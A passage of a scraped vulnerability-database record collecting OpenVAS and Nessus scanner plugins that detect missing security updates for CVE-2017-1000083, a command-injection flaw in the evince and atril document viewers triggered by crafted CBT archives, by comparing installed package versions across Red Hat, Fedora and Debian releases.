"http://plugins.openvas.org/nasl.php?oid=1361412562310871868", "type": "openvas", "title": "RedHat Update for evince RHSA-2017:2388-01", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n# $Id: gb_RHSA-2017_2388-01_evince.nasl 12497 2018-11-23 08:28:21Z cfischer $\n#\n# RedHat Update for evince RHSA-2017:2388-01\n#\n# Authors:\n# System Generated Check\n#\n# Copyright:\n# Copyright (C) 2017 Greenbone Networks GmbH, http://www.greenbone.net\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.871868\");\n script_version(\"$Revision: 12497 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2018-11-23 09:28:21 +0100 (Fri, 23 Nov 2018) $\");\n script_tag(name:\"creation_date\", value:\"2017-08-04 12:47:04 +0530 (Fri, 04 Aug 2017)\");\n script_cve_id(\"CVE-2017-1000083\");\n script_tag(name:\"cvss_base\", value:\"6.8\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:M/Au:N/C:P/I:P/A:P\");\n script_tag(name:\"qod_type\", value:\"package\");\n script_name(\"RedHat Update for evince RHSA-2017:2388-01\");\n script_tag(name:\"summary\", value:\"The remote host is missing an update for the 'evince'\n package(s) announced via the referenced advisory.\");\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable version is present on the target host.\");\n script_tag(name:\"insight\", value:\"The evince packages provide a simple\n multi-page document viewer for Portable Document Format (PDF), PostScript (PS),\n Encapsulated PostScript (EPS) files, and, with additional back-ends, also the\n Device Independent File format (DVI) files. Security Fix(es): * It was found\n that evince did not properly sanitize the command line which is run to untar\n Comic Book Tar (CBT) files, thereby allowing command injection. A specially\n crafted CBT file, when opened by evince or evince-thumbnailer, could execute\n arbitrary commands in the context of the evince program. (CVE-2017-1000083) Red\n Hat would like to thank Felix Wilhelm (Google Security Team) for reporting this\n issue.\");\n script_tag(name:\"affected\", value:\"evince on Red Hat Enterprise Linux Server (v. 7)\");\n script_tag(name:\"solution\", value:\"Please Install the Updated Packages.\");\n\n script_xref(name:\"RHSA\", value:\"2017:2388-01\");\n script_xref(name:\"URL\", value:\"https://www.redhat.com/archives/rhsa-announce/2017-August/msg00032.html\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2017 Greenbone Networks GmbH\");\n script_family(\"Red Hat Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/rhel\", \"ssh/login/rpms\", re:\"ssh/login/release=RHENT_7\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-rpm.inc\");\n\nrelease = rpm_get_ssh_release();\nif(!release) exit(0);\n\nres = \"\";\n\nif(release == \"RHENT_7\")\n{\n\n if ((res = isrpmvuln(pkg:\"evince\", rpm:\"evince~3.22.1~5.2.el7_4\", rls:\"RHENT_7\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"evince-debuginfo\", rpm:\"evince-debuginfo~3.22.1~5.2.el7_4\", rls:\"RHENT_7\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"evince-dvi\", rpm:\"evince-dvi~3.22.1~5.2.el7_4\", rls:\"RHENT_7\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"evince-libs\", rpm:\"evince-libs~3.22.1~5.2.el7_4\", rls:\"RHENT_7\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"evince-nautilus\", rpm:\"evince-nautilus~3.22.1~5.2.el7_4\", rls:\"RHENT_7\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if (__pkg_match) exit(99);\n exit(0);\n}", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2017-09-14T12:14:58", "bulletinFamily": "scanner", "cvelist": ["CVE-2017-1000083"], "description": "It was discovered that Atril, the MATE document viewer, made insecure\nuse of tar when opening tar comic book archives (CBT). Opening a\nmalicious CBT archive could result in the execution of arbitrary code.\nThis update disables the CBT format entirely.", "modified": "2017-09-11T00:00:00", "published": "2017-07-21T00:00:00", "id": "OPENVAS:703916", "href": "http://plugins.openvas.org/nasl.php?oid=703916", "type": "openvas", "title": "Debian Security Advisory DSA 3916-1 (atril - security update)", "sourceData": "# OpenVAS Vulnerability Test\n# $Id: deb_3916.nasl 7088 2017-09-11 05:01:45Z asteins $\n# Auto-generated from advisory DSA 3916-1 using nvtgen 1.0\n# Script version: 1.0\n#\n# Author:\n# Greenbone Networks\n#\n# Copyright:\n# Copyright (c) 2017 Greenbone Networks GmbH http://greenbone.net\n# Text descriptions are largely excerpted from the referenced\n# advisory, and are Copyright (c) the respective author(s)\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n#\n\n\nif(description)\n{\n script_id(703916);\n script_version(\"$Revision: 7088 $\");\n script_cve_id(\"CVE-2017-1000083\");\n script_name(\"Debian Security Advisory DSA 3916-1 (atril - security update)\");\n script_tag(name: \"last_modification\", value: \"$Date: 2017-09-11 07:01:45 +0200 (Mon, 11 Sep 2017) $\");\n script_tag(name: \"creation_date\", value: \"2017-07-21 00:00:00 +0200 (Fri, 21 Jul 2017)\");\n script_tag(name:\"cvss_base\", value:\"6.8\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:M/Au:N/C:P/I:P/A:P\");\n script_tag(name: \"solution_type\", value: \"VendorFix\");\n script_tag(name: \"qod_type\", value: \"package\");\n\n script_xref(name: \"URL\", value: \"http://www.debian.org/security/2017/dsa-3916.html\");\n\n script_category(ACT_GATHER_INFO);\n\n script_copyright(\"Copyright (c) 2017 Greenbone Networks GmbH http://greenbone.net\");\n script_family(\"Debian Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/debian_linux\", \"ssh/login/packages\");\n script_tag(name: \"affected\", value: \"atril on Debian Linux\");\n script_tag(name: \"insight\", value: \"Atril is a simple multi-page document viewer. It can display\nand print PostScript (PS), Encapsulated PostScript (EPS), DJVU, DVI and\nPortable Document Format (PDF) files.\");\n script_tag(name: \"solution\", value: \"For the oldstable distribution (jessie), this problem has been fixed\nin version 1.8.1+dfsg1-4+deb8u1.\n\nFor the stable distribution (stretch), this problem has been fixed in\nversion 1.16.1-2+deb9u1.\n\nWe recommend that you upgrade your atril packages.\");\n script_tag(name: \"summary\", value: \"It was discovered that Atril, the MATE document viewer, made insecure\nuse of tar when opening tar comic book archives (CBT). Opening a\nmalicious CBT archive could result in the execution of arbitrary code.\nThis update disables the CBT format entirely.\");\n script_tag(name: \"vuldetect\", value: \"This check tests the installed software version using the apt package manager.\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-deb.inc\");\n\nres = \"\";\nreport = \"\";\nif ((res = isdpkgvuln(pkg:\"atril\", ver:\"1.16.1-2+deb9u1\", rls_regex:\"DEB9.[0-9]+\", remove_arch:TRUE )) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"atril-common\", ver:\"1.16.1-2+deb9u1\", rls_regex:\"DEB9.[0-9]+\", remove_arch:TRUE )) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"gir1.2-atril\", ver:\"1.16.1-2+deb9u1\", rls_regex:\"DEB9.[0-9]+\", remove_arch:TRUE )) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"libatrildocument-dev\", ver:\"1.16.1-2+deb9u1\", rls_regex:\"DEB9.[0-9]+\", remove_arch:TRUE )) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"libatrildocument3\", ver:\"1.16.1-2+deb9u1\", rls_regex:\"DEB9.[0-9]+\", remove_arch:TRUE )) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"libatrilview-dev\", ver:\"1.16.1-2+deb9u1\", rls_regex:\"DEB9.[0-9]+\", remove_arch:TRUE )) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"libatrilview3\", ver:\"1.16.1-2+deb9u1\", rls_regex:\"DEB9.[0-9]+\", remove_arch:TRUE )) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"atril\", ver:\"1.8.1+dfsg1-4+deb8u1\", rls_regex:\"DEB8.[0-9]+\", remove_arch:TRUE )) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"atril-common\", ver:\"1.8.1+dfsg1-4+deb8u1\", rls_regex:\"DEB8.[0-9]+\", remove_arch:TRUE )) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"atril-dbg\", ver:\"1.8.1+dfsg1-4+deb8u1\", rls_regex:\"DEB8.[0-9]+\", remove_arch:TRUE )) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"libatrildocument-dev\", ver:\"1.8.1+dfsg1-4+deb8u1\", rls_regex:\"DEB8.[0-9]+\", remove_arch:TRUE )) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"libatrildocument3\", ver:\"1.8.1+dfsg1-4+deb8u1\", rls_regex:\"DEB8.[0-9]+\", remove_arch:TRUE )) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"libatrildocument3-dbg\", ver:\"1.8.1+dfsg1-4+deb8u1\", rls_regex:\"DEB8.[0-9]+\", remove_arch:TRUE )) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"libatrilview-dev\", ver:\"1.8.1+dfsg1-4+deb8u1\", rls_regex:\"DEB8.[0-9]+\", remove_arch:TRUE )) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"libatrilview3\", ver:\"1.8.1+dfsg1-4+deb8u1\", rls_regex:\"DEB8.[0-9]+\", remove_arch:TRUE )) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"libatrilview3-dbg\", ver:\"1.8.1+dfsg1-4+deb8u1\", rls_regex:\"DEB8.[0-9]+\", remove_arch:TRUE )) != NULL) {\n report += res;\n}\n\nif (report != \"\") {\n security_message(data:report);\n} else if (__pkg_match) {\n exit(99); # Not vulnerable.\n}\n", "cvss": {"score": 6.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2019-05-29T18:34:19", "bulletinFamily": "scanner", "cvelist": ["CVE-2017-1000083"], "description": "The remote host is missing an update for the ", "modified": "2019-03-15T00:00:00", "published": "2017-08-07T00:00:00", "id": "OPENVAS:1361412562310873221", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310873221", "type": "openvas", "title": "Fedora Update for evince FEDORA-2017-06c1422db8", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n# $Id: gb_fedora_2017_06c1422db8_evince_fc24.nasl 14223 2019-03-15 13:49:35Z cfischer $\n#\n# Fedora Update for evince FEDORA-2017-06c1422db8\n#\n# Authors:\n# System Generated Check\n#\n# Copyright:\n# Copyright (C) 2017 Greenbone Networks GmbH, http://www.greenbone.net\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.873221\");\n script_version(\"$Revision: 14223 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2019-03-15 14:49:35 +0100 (Fri, 15 Mar 2019) $\");\n script_tag(name:\"creation_date\", value:\"2017-08-07 07:40:44 +0200 (Mon, 07 Aug 2017)\");\n script_cve_id(\"CVE-2017-1000083\");\n script_tag(name:\"cvss_base\", value:\"6.8\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:M/Au:N/C:P/I:P/A:P\");\n script_tag(name:\"qod_type\", value:\"package\");\n script_name(\"Fedora Update for evince FEDORA-2017-06c1422db8\");\n script_tag(name:\"summary\", value:\"The remote host is missing an update for the 'evince'\n package(s) announced via the referenced advisory.\");\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable version is present on the target host.\");\n script_tag(name:\"affected\", value:\"evince on Fedora 24\");\n script_tag(name:\"solution\", value:\"Please install the updated package(s).\");\n script_xref(name:\"FEDORA\", value:\"2017-06c1422db8\");\n script_xref(name:\"URL\", value:\"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/AYNGS7EIBKO3KE4NKQLFGCIY6HDYGNTX\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2017 Greenbone Networks GmbH\");\n script_family(\"Fedora Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/fedora\", \"ssh/login/rpms\", re:\"ssh/login/release=FC24\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-rpm.inc\");\n\nrelease = rpm_get_ssh_release();\nif(!release)\n exit(0);\n\nres = \"\";\n\nif(release == \"FC24\")\n{\n\n if ((res = isrpmvuln(pkg:\"evince\", rpm:\"evince~3.20.1~3.fc24\", rls:\"FC24\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if (__pkg_match) exit(99);\n exit(0);\n}\n", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-01-29T20:11:45", "bulletinFamily": "scanner", "cvelist": ["CVE-2017-1000083"], "description": "from the Google Security Team discovered that the Evince document\nviewer made insecure use of tar when opening tar comic book archives\n(CBT). Opening a malicious CBT archive could result in the execution\nof arbitrary code. This update disables the CBT format entirely.", "modified": "2020-01-29T00:00:00", "published": "2018-02-08T00:00:00", "id": "OPENVAS:1361412562310891031", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310891031", "type": "openvas", "title": "Debian LTS: Security Advisory for evince (DLA-1031-1)", "sourceData": "# Copyright (C) 2018 Greenbone Networks GmbH\n# Text descriptions are largely excerpted from the referenced\n# advisory, and are Copyright (C) of the respective author(s)\n#\n# SPDX-License-Identifier: GPL-2.0-or-later\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.891031\");\n script_version(\"2020-01-29T08:22:52+0000\");\n script_cve_id(\"CVE-2017-1000083\");\n script_name(\"Debian LTS: Security Advisory for evince (DLA-1031-1)\");\n script_tag(name:\"last_modification\", value:\"2020-01-29 08:22:52 +0000 (Wed, 29 Jan 2020)\");\n script_tag(name:\"creation_date\", value:\"2018-02-08 00:00:00 +0100 (Thu, 08 Feb 2018)\");\n script_tag(name:\"cvss_base\", value:\"6.8\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:M/Au:N/C:P/I:P/A:P\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_tag(name:\"qod_type\", value:\"package\");\n\n script_xref(name:\"URL\", value:\"https://lists.debian.org/debian-lts-announce/2017/07/msg00022.html\");\n\n script_category(ACT_GATHER_INFO);\n\n script_copyright(\"Copyright (C) 2018 Greenbone Networks GmbH http://greenbone.net\");\n script_family(\"Debian Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/debian_linux\", \"ssh/login/packages\", re:\"ssh/login/release=DEB7\");\n\n script_tag(name:\"affected\", value:\"evince on Debian Linux\");\n\n script_tag(name:\"solution\", value:\"For Debian 7 'Wheezy', these problems have been fixed in version\n3.4.0-3.1+deb7u1.\n\nWe recommend that you upgrade your evince packages.\");\n\n script_tag(name:\"summary\", value:\"from the Google Security Team discovered that the Evince document\nviewer made insecure use of tar when opening tar comic book archives\n(CBT). Opening a malicious CBT archive could result in the execution\nof arbitrary code. This update disables the CBT format entirely.\");\n\n script_tag(name:\"vuldetect\", value:\"This check tests the installed software version using the apt package manager.\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-deb.inc\");\n\nres = \"\";\nreport = \"\";\nif(!isnull(res = isdpkgvuln(pkg:\"evince\", ver:\"3.4.0-3.1+deb7u1\", rls:\"DEB7\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"evince-common\", ver:\"3.4.0-3.1+deb7u1\", rls:\"DEB7\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"evince-dbg\", ver:\"3.4.0-3.1+deb7u1\", rls:\"DEB7\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"evince-gtk\", ver:\"3.4.0-3.1+deb7u1\", rls:\"DEB7\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"gir1.2-evince-3.0\", ver:\"3.4.0-3.1+deb7u1\", rls:\"DEB7\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"libevdocument3-4\", ver:\"3.4.0-3.1+deb7u1\", rls:\"DEB7\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"libevince-dev\", ver:\"3.4.0-3.1+deb7u1\", rls:\"DEB7\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"libevview3-3\", ver:\"3.4.0-3.1+deb7u1\", rls:\"DEB7\"))) {\n report += res;\n}\n\nif(report != \"\") {\n security_message(data:report);\n} else if(__pkg_match) {\n exit(99);\n}\n", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2017-09-14T12:14:37", "bulletinFamily": "scanner", "cvelist": ["CVE-2017-1000083"], "description": "Felix Wilhelm discovered that the Evince document viewer made insecure\nuse of tar when opening tar comic book archives (CBT). Opening a\nmalicious CBT archive could result in the execution of arbitrary code.\nThis update disables the CBT format entirely.", "modified": "2017-09-11T00:00:00", "published": "2017-07-14T00:00:00", "id": "OPENVAS:703911", "href": "http://plugins.openvas.org/nasl.php?oid=703911", "type": "openvas", "title": "Debian Security Advisory DSA 3911-1 (evince - security update)", "sourceData": "# OpenVAS Vulnerability Test\n# $Id: deb_3911.nasl 7088 2017-09-11 05:01:45Z asteins $\n# Auto-generated from advisory DSA 3911-1 using nvtgen 1.0\n# Script version: 1.0\n#\n# Author:\n# Greenbone Networks\n#\n# Copyright:\n# Copyright (c) 2017 Greenbone Networks GmbH http://greenbone.net\n# Text descriptions are largely excerpted from the referenced\n# advisory, and are Copyright (c) the respective author(s)\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n#\n\n\nif(description)\n{\n script_id(703911);\n script_version(\"$Revision: 7088 $\");\n script_cve_id(\"CVE-2017-1000083\");\n script_name(\"Debian Security Advisory DSA 3911-1 (evince - security update)\");\n script_tag(name: \"last_modification\", value: \"$Date: 2017-09-11 07:01:45 +0200 (Mon, 11 Sep 2017) $\");\n script_tag(name: \"creation_date\", value: \"2017-07-14 00:00:00 +0200 (Fri, 14 Jul 2017)\");\n script_tag(name:\"cvss_base\", value:\"6.8\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:M/Au:N/C:P/I:P/A:P\");\n script_tag(name: \"solution_type\", value: \"VendorFix\");\n script_tag(name: \"qod_type\", value: \"package\");\n\n script_xref(name: \"URL\", value: \"http://www.debian.org/security/2017/dsa-3911.html\");\n\n script_category(ACT_GATHER_INFO);\n\n script_copyright(\"Copyright (c) 2017 Greenbone Networks GmbH http://greenbone.net\");\n script_family(\"Debian Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/debian_linux\", \"ssh/login/packages\");\n script_tag(name: \"affected\", value: \"evince on Debian Linux\");\n script_tag(name: \"insight\", value: \"Evince is a simple multi-page document viewer. It can display and print\nPostScript (PS), Encapsulated PostScript (EPS), DjVu, DVI, Portable\nDocument Format (PDF) and XML Paper Specification (XPS) files.\nWhen supported by the document, it also allows searching for text,\ncopying text to the clipboard, hypertext navigation, and\ntable-of-contents bookmarks.\");\n script_tag(name: \"solution\", value: \"For the oldstable distribution (jessie), this problem has been fixed\nin version 3.14.1-2+deb8u2.\n\nFor the stable distribution (stretch), this problem has been fixed in\nversion 3.22.1-3+deb9u1.\n\nFor the unstable distribution (sid), this problem has been fixed in\nversion 3.22.1-4.\n\nWe recommend that you upgrade your evince packages.\");\n script_tag(name: \"summary\", value: \"Felix Wilhelm discovered that the Evince document viewer made insecure\nuse of tar when opening tar comic book archives (CBT). Opening a\nmalicious CBT archive could result in the execution of arbitrary code.\nThis update disables the CBT format entirely.\");\n script_tag(name: \"vuldetect\", value: \"This check tests the installed software version using the apt package manager.\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-deb.inc\");\n\nres = \"\";\nreport = \"\";\nif ((res = isdpkgvuln(pkg:\"evince\", ver:\"3.14.1-2+deb8u2\", rls_regex:\"DEB8.[0-9]+\", remove_arch:TRUE )) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"evince-common\", ver:\"3.14.1-2+deb8u2\", rls_regex:\"DEB8.[0-9]+\", remove_arch:TRUE )) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"evince-dbg\", ver:\"3.14.1-2+deb8u2\", rls_regex:\"DEB8.[0-9]+\", remove_arch:TRUE )) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"evince-gtk\", ver:\"3.14.1-2+deb8u2\", rls_regex:\"DEB8.[0-9]+\", remove_arch:TRUE )) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"gir1.2-evince-3.0\", ver:\"3.14.1-2+deb8u2\", rls_regex:\"DEB8.[0-9]+\", remove_arch:TRUE )) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"libevdocument3-4\", ver:\"3.14.1-2+deb8u2\", rls_regex:\"DEB8.[0-9]+\", remove_arch:TRUE )) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"libevince-dev\", ver:\"3.14.1-2+deb8u2\", rls_regex:\"DEB8.[0-9]+\", remove_arch:TRUE )) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"libevview3-3\", ver:\"3.14.1-2+deb8u2\", rls_regex:\"DEB8.[0-9]+\", remove_arch:TRUE )) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"browser-plugin-evince\", ver:\"3.22.1-3+deb9u1\", rls_regex:\"DEB9.[0-9]+\", remove_arch:TRUE )) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"evince\", ver:\"3.22.1-3+deb9u1\", rls_regex:\"DEB9.[0-9]+\", remove_arch:TRUE )) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"evince-common\", ver:\"3.22.1-3+deb9u1\", rls_regex:\"DEB9.[0-9]+\", remove_arch:TRUE )) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"evince-gtk\", ver:\"3.22.1-3+deb9u1\", rls_regex:\"DEB9.[0-9]+\", remove_arch:TRUE )) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"gir1.2-evince-3.0\", ver:\"3.22.1-3+deb9u1\", rls_regex:\"DEB9.[0-9]+\", remove_arch:TRUE )) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"libevdocument3-4\", ver:\"3.22.1-3+deb9u1\", rls_regex:\"DEB9.[0-9]+\", remove_arch:TRUE )) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"libevince-dev\", ver:\"3.22.1-3+deb9u1\", rls_regex:\"DEB9.[0-9]+\", remove_arch:TRUE )) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"libevview3-3\", ver:\"3.22.1-3+deb9u1\", rls_regex:\"DEB9.[0-9]+\", remove_arch:TRUE )) != NULL) {\n report += res;\n}\n\nif (report != \"\") {\n security_message(data:report);\n} else if (__pkg_match) {\n exit(99); # Not vulnerable.\n}\n", "cvss": {"score": 6.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}], "nessus": [{"lastseen": "2021-01-01T05:08:20", "description": "An update for evince is now available for Red Hat Enterprise Linux 7.\n\nRed Hat Product Security has rated this update as having a security\nimpact of Important. A Common Vulnerability Scoring System (CVSS) base\nscore, which gives a detailed severity rating, is available for each\nvulnerability from the CVE link(s) in the References section.\n\nThe evince packages provide a simple multi-page document viewer for\nPortable Document Format (PDF), PostScript (PS), Encapsulated\nPostScript (EPS) files, and, with additional back-ends, also the\nDevice Independent File format (DVI) files.\n\nSecurity Fix(es) :\n\n* It was found that evince did not properly sanitize the command line\nwhich is run to untar Comic Book Tar (CBT) files, thereby allowing\ncommand injection. A specially crafted CBT file, when opened by evince\nor evince-thumbnailer, could execute arbitrary commands in the context\nof the evince program. (CVE-2017-1000083)\n\nRed Hat would like to thank Felix Wilhelm (Google Security Team) for\nreporting this issue.", "edition": 35, "cvss3": {"score": 7.8, "vector": "AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"}, "published": "2017-08-02T00:00:00", "title": "RHEL 7 : evince (RHSA-2017:2388)", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2017-1000083"], "modified": "2021-01-02T00:00:00", "cpe": ["cpe:/o:redhat:enterprise_linux:7.4", "p-cpe:/a:redhat:enterprise_linux:evince", "cpe:/o:redhat:enterprise_linux:7.7", "p-cpe:/a:redhat:enterprise_linux:evince-libs", "cpe:/o:redhat:enterprise_linux:7.5", "p-cpe:/a:redhat:enterprise_linux:evince-nautilus", "cpe:/o:redhat:enterprise_linux:7", "p-cpe:/a:redhat:enterprise_linux:evince-devel", "p-cpe:/a:redhat:enterprise_linux:evince-debuginfo", "cpe:/o:redhat:enterprise_linux:7.6", "p-cpe:/a:redhat:enterprise_linux:evince-browser-plugin", "p-cpe:/a:redhat:enterprise_linux:evince-dvi"], "id": "REDHAT-RHSA-2017-2388.NASL", "href": "https://www.tenable.com/plugins/nessus/102118", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were \n# extracted from Red Hat Security Advisory RHSA-2017:2388. The text \n# itself is copyright (C) Red Hat, Inc.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(102118);\n script_version(\"3.16\");\n script_cvs_date(\"Date: 2019/10/24 15:35:43\");\n\n script_cve_id(\"CVE-2017-1000083\");\n script_xref(name:\"RHSA\", value:\"2017:2388\");\n\n script_name(english:\"RHEL 7 : evince (RHSA-2017:2388)\");\n script_summary(english:\"Checks the rpm output for the updated packages\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\"The remote Red Hat host is missing one or more security updates.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"An update for evince is now available for Red Hat Enterprise Linux 7.\n\nRed Hat Product Security has rated this update as having a security\nimpact of Important. A Common Vulnerability Scoring System (CVSS) base\nscore, which gives a detailed severity rating, is available for each\nvulnerability from the CVE link(s) in the References section.\n\nThe evince packages provide a simple multi-page document viewer for\nPortable Document Format (PDF), PostScript (PS), Encapsulated\nPostScript (EPS) files, and, with additional back-ends, also the\nDevice Independent File 